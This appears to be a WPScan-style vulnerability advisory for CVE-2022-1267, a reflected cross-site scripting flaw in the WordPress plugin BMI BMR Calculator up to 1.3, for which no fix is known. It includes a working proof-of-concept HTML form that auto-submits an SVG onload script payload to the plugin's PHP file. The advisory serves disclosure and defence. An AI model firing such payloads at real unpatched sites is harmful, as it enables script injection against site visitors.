BMI BMR Calculator <= 1.3 – Reflected Cross-Site Scripting | CVE 2022-1267 | Plugin Vulnerabilities

Description

The plugin does not sanitise and escape arbitrary POST data before outputting it back in the response, leading to a Reflected Cross-Site Scripting

Proof of Concept

<form action="https://example.com/wp-content/plugins/bmi-bmr-calculator/bmibmr_calculations.php" method="post" name="form1">
   <input type="text" name="123" value="<svg onload=alert('xss')>">
  <button type="submit"></button>
</form>
<script>
   document.form1.submit();
</script>

Affects Plugins

bmi-bmr-calculator

No known fix

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

p7e4

Submitter

p7e4

Submitter website

https://github.com/p7e4

Submitter twitter

Verified

Yes

WPVDB ID

ed2971c2-b99c-4320-ac46-bea5a0a493ed

Timeline

Publicly Published

2022-04-19 (about 3 years ago)

Added

2022-04-19 (about 3 years ago)

Last Updated

2022-04-20 (about 3 years ago)

Other

Published

Title

Published

2023-01-25

Title

Post Views Count <= 3.0.2 - Contributor+ Stored XSS in Shortcode

Published

2014-08-01

Title

vkontakte-api - vkontakte-api/swf/tagcloud.swf tagcloud Parameter XSS

Published

2024-10-31

Title

Audio Comparison Lite < 3.5 - Contributor+ Stored XSS

Published

2024-03-26

Title

Elementor Website Builder Pro < 3.20.2 - Authententicated (Contributor+) Stored Cross-Site Scripting

Published

2023-11-07

Title

Seo By 10Web <= 1.2.9 - Reflected XSS